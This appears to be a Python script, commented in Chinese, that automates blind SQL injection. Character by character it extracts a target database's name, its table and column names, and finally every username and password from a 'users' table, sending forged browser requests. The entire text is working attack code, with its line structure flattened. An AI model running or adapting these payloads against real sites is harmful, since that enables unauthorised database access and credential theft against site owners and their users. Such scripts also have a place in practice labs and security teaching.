headers = { 'user-agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' }
# 爆当前库长度 for i inrange(0,20): pay1 = "1'and (length(database()))>%s --+" %i re1 = requests.get(url+pay1,headers=headers,timeout=60) if re1.content.find(code) == -1: print (i) break
# 爆当前库名 # for a in range(1,9): # for j in range(1, 128): # pay2 = "1'and ascii(substr((select database()),%s,1))=%s --+" %(a,j) # re2 = requests.get(url+pay2,headers=headers,timeout=60) # if re2.content.find(code) != -1: # db = db + chr(j) # print (a,db)
# 爆表名(limit) # for j in range(0,5): # for n in range(1,10): # for i in range(1,128): # pay3 = "1'\ # and ascii(substr((select table_name from information_schema.tables\ # where table_schema=database() limit %s,1),%s,1))=%s --+" %(j,n,i) # re3 = requests.get(url+pay3,headers=headers,timeout=60) # #print url3 # if re3.content.find(code) != -1: # table = table + chr(i) # print(j,table)
# 爆表名(group_concat) # for n in range(1,50): # for i in range(1,128): # pay3 = "1'\ # and ascii(substr((select group_concat(table_name) from information_schema.tables\ # where table_schema=database()),%s,1))=%s --+" %(n,i) # re3 = requests.get(url+pay3,headers=headers,timeout=60) # #print url3 # if re3.content.find(code) != -1: # table = table + chr(i) # print (n,table)
# 爆列名(limit) # for a in range(0,5): # for b in xrange(1,20): # for c in range(1,128): # pay4 = "1' \ # and ascii(substr((select column_name from information_schema.columns \ # where table_name='users' limit %s,1),%s,1))=%s --+" %(a,b,c) # re4 = requests.get(url+pay4,headers=headers,timeout=60) # if re4.content.find(code) != -1: # column = column+chr(c) # print (a,column)
# 爆列名(group_concat) # for b in xrange(1,50): # for c in range(1,128): # pay4 = "1' \ # and ascii(substr((select group_concat(column_name) from information_schema.columns \ # where table_name='users'),%s,1))=%s --+" %(b,c) # re4 = requests.get(url+pay4,headers=headers,timeout=60) # if re4.content.find(code) != -1: # column = column+chr(c) # print (b,column)
# 爆数据 # for b in xrange(1,100): # for c in range(1,128): # pay5 = "1' \ # and ascii(substr((select group_concat(username,' ',password) from users),%s,1))=%s --+" %(b,c) # re5 = requests.get(url+pay5,headers=headers,timeout=60) # if re5.content.find(code) != -1: # flag = flag+chr(c) # print (b,flag)